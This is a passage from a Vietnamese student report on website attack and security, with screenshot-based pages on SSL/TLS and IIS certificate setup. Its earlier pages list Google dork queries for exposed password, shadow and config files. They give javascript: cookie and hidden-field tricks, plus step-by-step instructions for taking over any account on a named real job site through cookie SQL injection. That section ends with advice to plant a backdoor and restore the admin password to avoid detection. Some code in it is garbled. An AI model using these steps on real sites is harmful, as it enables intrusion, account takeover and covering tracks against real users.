Cú pháp “related:” sẽ liệt kê các trang Web "tương tự" với trang Web chỉ định.
Ví dụ :
“related:www.securityfocus.com” sẽ liệt kê các trang web tương tự với trang
chủ Securityfocus. Nhớ rằng không có khoảng trống giữa "related:" và URL
của trang Web.
[ cache: ]
Truy vấn “cache:” sẽ cho kết quả là phiên bản của trang Web mà mà Google
đã lưu lại. Ví dụ:“cache:Hackingspirits” sẽ cho ra trang đã lưu lại bởi Google's.
Nhớ rằng không có khoảng trống giữa "cache:" và URL của trang web.
Nếu bạn bao gồm những từ khác trong truy vấn, Google sẽ điểm sáng những
từ này trong văn bản đã được lưu lại.
Ví dụ: “cache:Hackingspirits guest” sẽ cho ra văn bản đã được lưu lại có từ
"guest" được điểm sáng.
[ intext: ]
Cú pháp “intext:” tìm kiếm các từ trong một website riêng biệt. Nó phớt lờ các
liên kết hoặc URL và tiêu đề của trang.
Ví dụ: “intext:exploits” (không có ngoặc kép) sẽ cho kết quả là những liên kết
đến những trang web có từ khóa tìm kiếm là "exploits" trong các trang của nó.
[ phonebook: ]
“phonebook” tìm kiếm thông tin về các địa chỉ đường phố ở Mỹ và số điện
thoại.
Ví dụ:
“phonebook:Lisa+CA” sẽ liệt kê tất cả các tên người có từ “Lisa” trong tên và
ở “California (CA)”. Cú pháp này có thể được sử dụng như là một công cụ
21
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
tuyệt vời của tin tặc trong trường hợp ai đó muốn tìm kiếm thông tin cá nhân
cho công việc xã hội.
Truy vấn các site hoặc server dễ bị tấn công sử dụng các cú pháp
nâng cao của Google
Sử dụng cú pháp “Index of ” để tìm kiếm các site cho phép duyệt
chỉ mụcDƣới đây là vài Ví dụ sử dụng để có đƣợc quyền truy cập vào rất
nhiều thông tin nhạy cảm dễ dàng hơn rất nhiều:
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
Tìm kiếm các site hoặc server dễ bị tấn công sử dụng cú pháp
“inurl:” hoặc “allinurl:”
22
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
d. Sử dụng “inurl:config.txt” (không có ngoặc kép) sẽ liệt kê tất cả các liên kết
đến các máy chủ cho phép truy cập vào file “config.txt” qua giao diện web. File
này bao gồm các thông tin nhạy cảm, bao gồm giá trị bị băm ra của mật khẩu
quản trị và sự xác thực quyền truy cập cơ sở dữ liệu. Ví dụ: Hệ thống quản lý
học tập Ingenium là một ứng dụng Web cho các hệ thống Windows phát triển
bởi Click2learn, Inc. Hệ thống quản lý học tập Ingenium phiên bản 5.1 và 6.1
lưu các thông tin nhạy cảm không an tòan trong file config.txt. Để biết thêm
thông tin vào liên kết sau:
http://www.securiteam.com/securitynews/6M00H2K5PG.html
Những tìm kiếm tƣơng tự khác dùng “inurl:” hoặc “allinurl:” kết hợp với
các cú pháp khác:
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
Tìm kiếm các site hoặc server dễ bị tấn công dùng “intitle:” hoặc
“allintitle:”
23
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
thông tin nhạy cảm mà có thể dễ dàng tìm được tqua những yêu cầu Web
đơn giản.
Những tìm kiếm tƣơng tự dùng “intitle:” hoặc “allintitle:” kết hợp với
các cú pháp khác
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
allinurl:/scripts/cart32.exe
allinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
Để tìm những site dễ bị tấn công bằng phương pháp SQL Injection:
allinurl:/privmsg.php
allinurl:/privmsg.php
24
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Mình sẽ giới thiệu với các bạn về kĩ thuật hack web chỉ dùng JavaScript. Với
kĩ thuật này, bạn có thể xem xét và hiệu chỉnh giá trị của các cookie hoặc
trường ẩn trực tiếp ngay trên trang web. Tất cả chỉ với một trình duyệt web hổ
trợ "debug javascript-inline", chẳng hạn như Internet Explorer, Netscape hay
Mozilla, ... Cơ bản về JavaScript-Inline
Code:
javascript:void(<đặt lệnh JavaScritpt ngay tại đây!>)
Ví dụ:
Hoặc
để thay đổi giá trị của trường ẩn "hiddenid" của form đầu tiên thành "2", bạn
gõ:
Code:
javascript:void(document.forms[0].hiddenid.value="2")
Code:
var a=unescape("%43%4f%44%45%5a");
function check()
if (document.a.c.value == a)
document.location.href="http://scifi.pages.at/hackits/"+document.a.c.value+".ht
m";
25
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
else
}
Đơn giản bạn có thể gõ thẳng vào thanh URL của IE như sau:
Code:
javascript:alert(unescape(a)) để lấy password của level tiếp theo
("CODEZ")
Realistic mission 8 trên hackthisite.org yêu cầu bạn chuyển 10 triệu đô từ tài
khoản của "Gary Hunter" vào tài khoản "dropCash".
Sau khi bạn dùng SQL-Injection để lấy username của "Gary Hunter", bạn tiến
hành chuyển tiền như sau:
Đăng nhập vào tài khoản của bạn. Trên thanh URL của IE bạn gõ vào:
Code:
javascript:void(document.write('
< name="the_" ="movemoney.php" method="post"><
value="GaryWilliamHunter" name="FROM" ="">< value="dropCash"
name="TO" ="">< value="10000000" name="AMOUNT" =""><
value="Move Money To A Different Account" ="submit">'))
javascript:void(document.cookie="accountPassword=G aryWilliamHunter")
26
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Sau khi đã đăng nhập vào mangvieclam.com, bạn gõ vào thanh URL dòng
javascript:alert(document.cookie) để xem cookie.
Ban có thể thay đổi thông tin cá nhân của một user bất kì trên
mangvieclam.com bằng cách đổi lại cookie username như sau:
javascript:void(document.cookie="username=tên user"), sau đó chọn mục
"Cập nhập thông tin"
Bạn cũng có thể thay đổi password của một user bất kì trên mangvieclam.com
sau khi đã login vào với account của mình như sau: chọn mục "Thay đổi mật
khẩu", gõ dòng javascript:void(document.cookie="username=tên
user"+escape("' or '1'='1")) vào thanh URL, nhập password cũ là gì cũng được
và password mới, sau đó ấn nút "Thay đổi mật khẩu".
Lỗi này nằm trong file icl/filerec/detail.asp, dòng thứ 43..65. Ví dụ, khi bạn set
cookie username là "trungkien' or '1'='1", các câu lệnh SQL sau sẽ được thực
thi:
27
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
HTML
Code:
<form action=http://www.mangvieclam.com/log.asp method=post>
</form>
Upload backdoor và thay đổi trang index.asp. Sau đó restore lại pasword cũ
cho admin để tránh bị phát hiện:
28
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Như chúng ta đã biết có hai giao thức bảo mật quan trọng lớp vận
chuyển (Layer Transport) có tầm quan trọng cao nhất đối với sự bảo mật của
các trình ứng dụng trên Web: đó là hai giao thức SSL và TLS.
Nói chung, có một số khả năng để bảo vệ bằng mật mã lưu lượng dữ
liệu HTTP. Ví dụ, vào những năm 1990, tập đoàn CommerceNet đã đề xuất S-
HTTP mà về cơ bản là một cải tiến bảo mật của HTTP. Một phần thực thi của
S-HTTP đã làm cho có sẵn công cộng trong một phiên bản được chỉnh sửa
của trình duyệt Mosaic NCSA mà những người dùng phải mua (trái với trình
duyệt Mo NCSA "chuẩn" có sẵn công cộng và miễn phí trên Internet).
Tuy nhiên, cùng thời điểm Netscape Communication đã giới thiệu SSL
và một giao thức tương ứng với phiên bản đầu tiên của Netscape Navigator,
Trái với tập đoàn CommerceNet, Netscape Communications đã không tính phí
các khách hàng của nó về việc thực thi giao thức bảo mật của nó. Kết quả,
SSL trở thành giao thức nổi bật để cung cấp các dịch vụ bảo mật cho lưu
lượng dữ liệu HTTP 1994 và S-HTTP lặng lẽ biến mất.
1.2 Cấu trúc của giao thức SSL:
Cấu trúc trúc của SSL và giao thức SSL tương ứng được minh họa
trong hình 1.1(Cấu trúc SSL và giao thức SSL). Theo hình này, SSL ám chỉ
một lớp (bảo mật) trung gian giữa lớp vận chuyển (Transport Layer) và lớp
29
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
ứng dụng (Application Layer). SSL được xếp lớp lên trên một dịch vụ vận
chuyển định hướng nối kết và đáng tin cậy, chẳng hạn như được cung cấp
bởi TCP. Về khả năng, nó có thể cung cấp các dịch vụ bảo mật cho các giao
thức ứng dụng tùy ý dựa vào TCP chứ không chỉ HTTP. Thực tế, một ưu
điểm chính của các giao thức bảo mật lớp vận chuyển (Transport layer) nói
chung và giao thức SSL nói riêng là chúng độc lập với ứng dụng theo nghĩa là
chúng có thể được sử dụng để bảo vệ bất kỳ giao thức ứng dụng được xếp
lớp lên trên TCP một cách trong suốt. Hình 1.1 minh họa một số giao thức
ứng dụng điển hình bao gồm NSIIOP, HTTP, FTP, Telnet, IMAP, IRC, và
POP3. Tất cả chúng có thể được bảo vệ bằng cách xếp lớn chúng lên trên
SSL (mẫu tự S được thêm vào trong các từ ghép giao thức tương ứng chỉ
định việc sử dụng SSL). Tuy nhiên, chú ý rằng SSL có một định hướng client-
server mạnh mẽ và thật sự không đáp ứng các yêu cầu của các giao thức
ứng dụng ngang hàng.
1. Các bên giao tiếp (nghĩa là client và server) có thể xác thực nhau bằng
cách sử dụng mật mã khóa chung.
30
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
2. Sự bí mật của lưu lượng dữ liệu được bảo vệ vì nối kết được mã hóa
trong suốt sau khi một sự thiết lập quan hệ ban đầu và sự thương lượng khóa
session đã xảy ra.
3. Tính xác thực và tính toàn vẹn của lưu lượng dữ liệu cũng được bảo vệ
vì các thông báo được xác thực và được kiểm tra tính toàn vẹn một cách
trong suốt bằng cách sử dụng MAC.
Tuy nhiên, điều quan trọng cần lưu ý là SSL không ngăn các cuộc tấn công
phân tích lưu lượng. Ví dụ, bằng cách xem xét các địa chỉ IP nguồn và đích
không được mã hóa và các sô cổng TCP, hoặc xem xét lượng dữ liệu được
truyền, một người phân tích lưu lượng vẫn có thể xác định các bên nào đang
tương tác, các loại dịch vụ đang được sử dụng, và đôi khi ngay cả dành được
thông tin về các mối quan hệ doanh nghiệp hoặc cá nhân. Hơn nữa, SSL
không ngăn các cuộc tấn công có định hướng dựa vào phần thực thi TCP,
chẳng hạn như các cuộc tấn công làm tràn ngập TCP SYN hoặc cưỡng đoạt
session.
Để sử dụng sự bảo vệ SSL, cả client lẫn server phải biết rằng phía bên
kia đang sử dụng SSL. Nói chung, có ba khả năng để giải quyết vấn đề này:
1. Sử dụng các số cổng chuyên dụng được dành riêng bởi Internet
Asigned Numbers Authority (IANA). Trong trường hợp này, một số cổng riêng
biệt phải được gán cho mọi giao thức ứng dụng vốn sử dụng SSL.
2. Sử dụng số cổng chuẩn cho mọi giao thức ứng dụng và để thương
lượng các tùy chọn bảo mật như là một phần của giao thức ứng dụng .
3. Sử dụng một tùy chọn TCP để thương lượng việc sử dụng một giao
thức bảo mật, chẳng hạn như SSL trong suốt giai đoạn thiết lập nối kết TCP
thông thường.
Sự thương lượng dành riêng cho ứng dụng của các tùy chọn bảo mật
(nghĩa là khả năng thứ hai) có khuyết điểm là đòi hỏi mọi giao thức ứng dụng
được chỉnh sửa để hiểu tiến trình thương lượng. Ngoài ra, việc xác định một
31
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
tùy chọn TCP (nghĩa là khả năng thứ ba) là một giải pháp tốt, nhưng đó không
được thảo luận nghiêm túc cho đến bây giờ. Thực tế, các số cổng riêng biệt
đã được dành riêng và được gán bởi IANA cho mọi giao thức ứng dụng vốn
có thể chạy trên SSL hoặc TLS (nghĩa là khả năng thứ nhất). Tuy nhiên, hãy
chú ý việc sử dụng các số cổng riêng biệt cũng có khuyết điểm là đòi hỏi hai
nối kết TCP nếu client không biết những gì mà server hỗ trợ. Trước tiên, client
phải nối kết với cổng an toàn và sau đó với cổng không an toàn hay ngược
lại. Rất có thể các giao thức sau này sẽ hủy bỏ phương pháp này và tìm khả
năng thứ hai. Ví dụ, SALS (Simple Authentication và Security Layer) xác định
một phù hợp để thêm sự hỗ trợ xác thực vào các giao thức ứng dụng dựa vào
kết nối. Theo thông số kỹ thuật SALS, việc sử dụng các cơ chế xác thực có
thể thương lượng giữa client và Server của một giao thức ứng dụng đã cho .
Các số cổng được gán bởi IANA cho các giao thức ứng dụng vốn chạy trên
SSL/TLS được tóm tắt trong bảng 1.2 và được minh họa một phần trong hình
1.1. Ngày nay, "S" chỉ định việc sử dụng SSL được thêm (hậu tố) nhất quán
vào các từ ghép của các giao thức ứng dụng tương ứng (trong một số thuật
ngữ ban đầu, S được sử dụng và được thêm tiền tố một cách không nhất
quán và một số từ ghép).
Các số cổng được gán bởi IANA cho các giao thức ứng dụng vốn chạy
trên SSL/TLS được tóm tắt trong bảng 1.2 và được minh họa một phần trong
hình 1.1. Ngày nay, "S" chỉ định việc sử dụng SSL được thêm (hậu tố) nhất
quán vào các từ ghép của các giao thức ứng dụng tương ứng (trong một số
thuật ngữ ban đầu, S được sử dụng và được thêm tiền tố một cách không
nhất quán và một số từ ghép).
32
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
các đoạn dữ liệu SSL làm dữ liệu xuất (hoặc còn được gọi là các bản ghi) nhỏ
hơn hoặc bằng 16,383 byte.
Các bước khác nhau của SSL Record Protocol vốn đi từ một đoạn dữ liệu thô
đến một bản ghi SSL Plaintext (bước phân đoạn), SSL Compressed (bước
nén) và SSL Ciphertext (bước mã hóa) được minh họa trong hình 1.5. Sau
cùng, mỗi bản ghi SSL chứa các trường thông tin sau đây:
- Loại nội dung;
33
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Cấu trúc SSL MAC có một số chuỗi trong thông báo trước khi hash để ngăn
các hình thức tấn công xem lại riêng biệt.
Cấu trúc SSL MAC có chiều dài bản ghi.
Cấu trúc SSL MAC sử dụng các toán tử ghép, trong khi cấu trúc MAC sử
dụng moduloe cộng 2. Tất cả những điểm khác biệt này hiện hữu chủ yếu vì
cấu trúc SSL MAC được sử dụng trước cấu trúc HMAC trong hầu như tất cả
thông số kỹ thuật giao thức bảo mật Internet. Cấu trúc HMAC cũng được sử
dụng cho thông số kỹ thuật giao thức TLS gần đây hơn.
Như được minh họa trong hình 1.5, một số giao thức con SSL được xếp
lớp trên SSL Record Protocol. Mỗi giao thức con có thể tham chiếu đến các
34
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
loại thông báo cụ thể vốn được gửi bằng cách sử dụng SSL Record Protocol.
Thông số kỹ thuật SSL 3.0 xác định ba giao thức SSL sau đây:
- Alert Protocol;
- Handshake Protocol;
- ChangeCipherSpec Protocol;
Tóm lại, SSL Alert Protocol được sử dụng để chuyển các cảnh báo thông qua
SSL Record Protocol. Mỗi cảnh báo gồm 2 phần, một mức cảnh báo và một
mô tả cảnh báo.
SSL Handshake Protocol là giao thức con SSL chính được sử dụng để hỗ trợ
xác thực client và server và để trao đổi một khóa session. Do đó SSL
Handshake Protocol trình bày tổng quan và được thảo luận trong phần tiếp
theo.
Sau cùng, SSL ChangeCipherSpec Protocol được sử dụng để thay đổi giữa
một thông số mật mã này và một thông số mật mã khác. Mặc dù thông số mật
mã thường được thay đổi ở cuối một sự thiết lập quan hệ SSL, nhưng nó
cũng có thể được thay đổi vào bất kỳ thời điểm sau đó.
Ngoài những giao thức con SSL này, một SSL Application Data Protocol được
sử dụng để chuyển trực tiếp dữ liệu ứng dụng đến SSL Record Protocol.
SSL Handshake Protocol:
SSL Handshake Protocol là giao thức con SSL chính được xếp lớp trên
SSL Record Protocol. Kết quả, các thông báo thiết lập quan hệ SSL được
cung cấp cho lớp bản ghi SSL nơi chúng được bao bọc trong một hoặc nhiều
bản ghi SSL vốn được xử lý và được chuyển như được xác định bởi phương
pháp nén và thông số mật mã của session SSL hiện hành và các khóa mật
mã của nối kết SSL tương ứng. Mục đích của SSL Handshake Protocol là yêu
cầu một client và server thiết lập và duy trì thông tin trạng thái vốn được sử
dụng để bảo vệ các cuộc liên lạc. Cụ thể hơn, giao thức phải yêu cầu client và
server chấp thuận một phiên bản giao thức SSL chung, chọn phương thức
nén và thông số mật mã, tùy ý xác thực nhau và tạo một khóa mật chính mà
35
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
từ đó các khóa session khác nhau dành cho việc xác thực và mã hóa thông
báo có thể được dẫn xuất từ đó.
Tóm lại, việc thực thi SSL Handshake Protocol giữa một client C và một
server S có thể được tóm tắt như sau (các thông báo được đặt trong các dấu
ngoặc vuông thì tùy ý):
1: C -> S: CLIENTHELLO
2: S -> C: SERVERHELLO
[CERTIFICATE]
[SERVERKEYEXCHANGE]
[CERTIFICATEREQUEST]
SERVERHELLODONE
3: C -> [CERTIFICATE]
CLIENTKEYEXCHANGE
[CERTIFICATEVERIFY]
CHANGECIPHERSPEC
FINISHED
4: S -> C: CHANGECIPHERSPEC
FINISHED
Khi Client C muốn kết nối với server S, nó thiết lập một nối kết TCP với cổng
HTTPS (vốn không được đưa vào phần mô tả giao thức) và gởi một thông
báo CLIENTHELLO đến server ở bước 1 của sự thực thi SSL Handshake
Protocol. Client cũng có thể gởi một thông báo CLIENTHELLO nhằm phản hồi
lại một thông báo HELLOREQUEST hoặc chủ động thương lượng lại các
tham số bảo mật của một nối kết hiện có. Thông báo CLIENTHELLO bao gồm
các trường sau đây:
- Số của phiên bản SSL cao nhất được biểu hiện bởi client (thường là 3.0).
- Một cấu trúc ngẫu nhiên do client tạo ra gồm một tem thời gian 32 bit có
dạng UNIX chuẩn và một giá trị 28 byte được tạo ra bởi một bộ tạo số giả
ngẫu nhiên.
- Một định danh session mà client muốn sử dụng cho nối kết này.
- Một danh sách các bộ mật mã client hỗ trợ.
36
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Chú ý rằng trường session identity (định danh session) nên rỗng nếu session
SSL hiện không tồn tại hoặc nếu client muốn tạo các tham số bảo mật mới. Ở
một trong hai trường hợp, một trường session identity không rỗng là xác định
một session SSL hiện có giữa client và server (nghĩa là một session có các
tham số bảo mật mà client muốn sử dụng lại.). Định danh session có thể bắt
nguồn từ một nối kết trước đó, nối kết này hoặc một nối kết đang hoạt động.
Cũng chú ý rằng danh sách các bộ mật mã được hỗ trợ, được chuyển từ
client đến server trong thông báo CLIENTHELLO, chứa các tổ hợp thuật toán
mật mã được hỗ trợ bởi client theo thứ tự ưu tiêm. Mỗi bộ mật mã xác định
một thuật toán trao đổi khóa và một thông báo mật mã. Server sẽ chọn một bộ
mật mã hoặc nếu các lựa chọn có thể chấp nhận được không được trình bầy,
trả về một thông báo lỗi và đóng nối kết một cách phù hợp. Sau khi đã gởi
thông báo CLIENTHELLO, client đợi một thông báo SERVERHELLO. Bất kỳ
thông báo khác được trả về bởi server ngoại trừ một thông báo
HELLOREQUEST được xem như là một lỗi vào thời điểm này.
Ở bước 2, server xử lý thông báo CLIENTHELLO và đáp ứng bằng một thông
báo lỗi hoặc thông báo SERVERHELLO. Tương tự như thông báo
CLIENTHELLO, thông báo SERVERHELLO có các trường sau đây:
- Một số phiên bản server chứa phiên bản thấp hơn của phiên bản được đề
nghị bởi client trong thông báo CLIENTHELLO và được hỗ trợ cao nhất bởi
Server.
- Một cấu trúc ngẫu nhiên do server tạo ra cũng gồm một tem thời gian 32bit
có dạng UNIX chuẩn và một giá trị 28bit được tạo ra bởi một bộ tạo số ngẫu
nhiên.
- Một định danh session tương ứng với nối kết này.
- Một bộ mật mã được chọn từ bởi server từ danh sách các bộ mật mã được
hỗ trợ bởi client.
37
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
- Một phương pháp nén được chọn bởi server từ danh sách các thuật toán
nén được hỗ trợ bởi client.
Nếu định danh session trong thông báo CLIENTHELLO không rỗng, server
tìm trong cache session của nó nhằm tìm ra một mục tương hợp. Nếu mục
tương hợp được tìm thấy và server muốn thiết lập nối kết mới bằng cách sử
dụng trạng thái session tương ứng, server đáp ứng bằng cùng một giá trị như
được cung cấp bởi client. Chỉ địn này là một session được tiếp tục lại và xác
định rằng cả hai phía phải tiến hành trực tiếp với các thông báo
CHANGECIPHERSPEC và FINISHED được trình bày thêm bên dưới. Nếu
không, trường này chứa một giá trị khác nhận biết một session mới. Server
cũng có thể trả về một trường định danh session rỗng để biểu thị rằng session
sẽ không được lưu trữ và do đó không thể được tiếp tục sau đó. Cũng chú ý
rằng trong thông báo SERVERHELLO, server chọn một bộ mật mã và một
phương pháp nén từ các danh sách được cung cấp bởi client trong thông báo
CLIENTHELLO. Các thuật toán trao đổi khóa, xác thực, mã hóa và xác thực
thông báo được xác định bởi bộ mã được chọn bởi server và được làm lộ ra
trong thông báo SERVERHELLO. Các bộ mật mã vốn đã được xác định trong
giao thức SSL về cơ bản giống như bộ mật mã đã xác định cho TLS (như
được tóm tắt ở các bản 1.4 đến 1.7 trong những bài viết trước).
Ngoài thông báo SERVERHELLO, server cũng phải gởi các thông báo khác
đến client. Ví dụ, nếu server sử dụng sự xác thức dựa vào chứng nhân,
server gởi chứng nhận site của nó đến client trong một thông báo
CERTIFICATE tương ứng. Chứng nhận phải thích hợp cho thuật toán trao đổi
khóa của bộ mật mã được chọn và thường là một chứng nhận X.509v3. Cùng
loại thông báo sẽ được sử dụng sau đó cho sự đáp ứng của client đối với
thông báo sẽ được sử dụng sau đó cho sự đáp ứng của client đối với thông
báo CERTIFICATERequest của server. Trong trường hợp của các chứng
nhận X.509v3, một chứng nhận có thể thực sự tham chiếu đến toàn bộ một
chuỗi các chứng nhận, được sắp xếp theo thứ tự với chứng nhận của đối
tượng gởi trước tiên theo sau là bất kỳ chứng nhận CA tiến hành theo trình tự
hướng đến một CA gốc (vốn sẽ được chấp nhận bởi client).
38
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Tiếp theo, server có thể gởi một thông báo SERVERKEYEXCHANGE đến
client nếu nó không có chứng nhận, một chứng nhận vốn có thể được sử
dụng chỉ để xác nhận các chữ ký kỹ thuật số hoặc sử dụng thuật toán trao đổi
khóa dựa vào token FORITEZZA (KEA). Rõ ràng, thông báo này không được
yêu cầu nếu chứng nhận site gồm một khóa chung RSA vốn có thể được sử
dụng trong việc mã hóa. Ngoài ra, một server không nặc danh có thể tùy ý yêu
cầu một chứng nhận cá nhân để xác thực client. Do đó, nó gởi một thông báo
CERTIFICATERequest đến client. Thông báo này chứa một danh sách các
loại chứng nhận được yêu cầu, được phân loại theo thứ tự ưu tiên của server
cũng như một danh sách các tên được phân biệt cho các CA có thể chấp
nhận. Ở cuối bước 2, server gởi một thông báo SERVERHELLODone đến
client để chỉ định sự kết thúc SERVERHELLO và các thông báo đi kèm.
Sau khi nhận SERVERHELLO và các thông báo đi kèm, client xác nhận rằng
chứng nhận site server (nếu được cung cấp) là hợp lệ và kiểm tra nhằm bảo
đảm rằng các thông số bảo mật được cung cấp trong thông báo
SERVERHELLO có thể được chấp nhận. Nếu server yêu cầu sự xác thực
client, client gởi một thông báo CERTIFICATE vốn chứa một chứng nhận cá
nhân cho khóa chung của người dùng đến server ở bước 3. Tiếp theo, client
gởi một thông báo CLIENTKEYEXCHANGE có dạng phụ thuộc vào thuật toán
cho mỗi khóa được chọn bởi server:
- Nếu RSA được sử dụng cho việc xác thực server và trao đổi khóa, client tạo
một khóa mật tiền chính 48 byte, mã hóa nó bằng khóa chung được tìm thấy
trong chứng nhận site hoặc khóa RSA tạm thời từ thông báo
SERVERKEYEXCHANGE và gởi kết quả trở về server trong thông báo
CLIENTKEYEXCHANGE. Lần lượt server sử dụng khóa riêng tương ứng để
giải mã khóa mật chính.
- Nếu các token FORTEZZA được sử dụng để trao đổi khóa, client dẫn xuất
một khóa mã hóa token (TEK) bằng cách sử dụng KEA. Phép tình KEA cảu
client sử dụng khóa chung từ chứng nhận server cùng với một số tham số
riêng trong token của client. Client gởi các tham số chung cần thiết cho server
để cũng tạo TEK, sử dụng các tham sô riêng của nó. Nó tạo một khóa mật
39
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
chính, bao bọc nó bằng cách sử dụng TEK và gởi kết quả cùng với một số
vector khởi tạo đến server như là một phần của thông báo
CLIENTKEYEXCHANGE. Lần lượt, server có thể giải mã khóa mật chính một
cách thích hợp. Thuật toán trao đổi khóa này không được sử dụng rộng rãi.
Nếu sự xác thực client được yêu cầu, client cũng gởi một thông báo
CERTIFICATEVERIFY đến server. Thông báo này được sử dụng để cung cấp
sự xác thực rõ ràng định danh của người dùng dựa vào chứng nhận các
nhân. Nó chỉ được gởi theo sau một chứng chỉ client vốn có khả năng tạo chữ
ký (tất cả chứng nhận ngoại trừ các chứng nhận chứa các tham số
DiffeHallman cố định). Sau cùng, client hoàn tất bước 3 bằng cách gởi một
thông báo CHANGECIPHERSPEC và một thông báo FINISHED tương ứng
đến server. Thông báo FINISHED luôn được gởi ngay lập tức sau thông báo
CHANGECIPERSPEC để xác nhận rằng các tiến trình trao đổi khóa và xác
thực đã thành công. Thực tế, thông báo FINISHED là thông báo đầu tiên vốn
được bảo vệ bằng các thuật toán mới được thương lượng và các khóa
session. Nó chỉ có thể được tạo và được xác nhận nếu những khóa này được
cài đặt một cách phù hợp ở cả hai phía. Không đòi hỏi sự báo nhận thông báo
FINISHED; các phía có thể bắt đầu gởi dữ liệu được mã hóa ngay lập tức sau
khi đã gởi thông báo FINISHED. Việc thực thi SSL Handshake Protocol hoàn
tất bằng việc cũng yêu cầu server gởi một thông báo CHANGECIPHERSPEC
và một thông báo FINISHED tương ứng đến client ở bước 4.
Sau khi sự thiết lập SSL hoàn tất, một nối kết an toàn được thiết lập giữa
client và server. Nối kết này bây giờ có thể được sử dụng để gởi dữ liệu ứng
dụng vốn được bao bọc bởi SSL Record Protocol. Chính xác hơn, dữ liệu ứng
dụng có thể được phân đoạn, được nén, hoặc được mã hóa và đước xác
thực theo SSL Record Protocol cũng như thông tin trạng thái session và nối
kết vốn bây giờ được thiết lập (tùy thuộc việc thực thi SSL Handshake
Protocol).
SSL Handshake Protocol có thể được rutst ngắn nếu client và server quyết
định tiếp tục lại một session SSL được thiết lập trước đó (và vẫn được lưu
trữ) hoặc lặp lại một session SSL hiện có. Trong trường hợp này, chỉ ba dòng
40
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
thông báo và tổng cộng sáu thông báo được yêu cầu. Các dòng thông báo
tương ứng có thể được tóm tắt như sau:
1: C -> S: CLIENTHELLO
2: S -> C: SERVERHELLO
CHANECIPHERSPEC
FINISHED
3: S ->C: CHANGECIPHERSPEC
FINISHED
Ở bước 1, client gởi một thông báo CLIENTHELLO đến server vốn có một
định danh session cần được tiếp tục lại. Lần lượt server kiểm tra cache
session của nó để tìm một mục tương hợp. Nếu một mục tương hợp được tìm
thấy, server muốn tiếp tục lại nối kết bên dưới trạng thái session đã xác định,
nó trả về một thông báo SERVERHELLO với cùng một định danh session ở
bước 2. Vào thời điểm này, cả client lẫn server phải gởi các thông báo
CHANGECIPHERSPEC và FINISHED đến nhau ở bước 2 và 3. Một khi việc
tái thiết lập session hoàn tất, client và server có thể bắt đầu trao đổi dữ liệu
ứng dung.
Cơ chế mã hóa của SSL:
1. Client phát sinh 1 Session Key ngẫu nhiên khi truy cập đến Server
2. Client yêu cầu Server gởi Certificate (gồm Public Key của Server)
3. Client kiểm tra tính hợp lệ của Certificate
4. Nếu Certificate của Server hợp lệ, Client mã hóa Session Key bằng
Public Key của Server
5. Client gởi Session Key đã mã hóa cho Server
6. Server giải mã Session Key đã được mã hóa bằng Private Key
7. Các thông tin trao đổi giữa server và client sẽ được mã hóa và giải mã
bằng Session Key
Hiện nay, khi public một web site lên internet, để áp dụng cơ chế mã hóaSSL
chúng ta phải thuê SSL Certificate cho Web Server từ các tổ chức cung cấp
Digital Certificate như: Verisign, CyberTrust, EnTrust .
Chuẩn bị
41
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Hộp thoại Welcome to the Web Server Certificate Wizard, chọn Next
42
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Hộp thoại Server Certificate, chọn Create anew certificate, chọn Next
Trong hộp thoại Delayed or Immediate Request, chọn Prepare the request now,
but send it later, chọn Next .
43
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Trong hộp thoại Organization Information, nhập thông tin như hình bên dưới,
chọn Next
44
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
-Trong hộp thoại Your Site’s Common Name, nhập www.msopenlab.com vào
ô Common name, chọn Next
Hộp thoại Geographical Information, nhập thông tin như hình bên dưới, chọn
Next
45
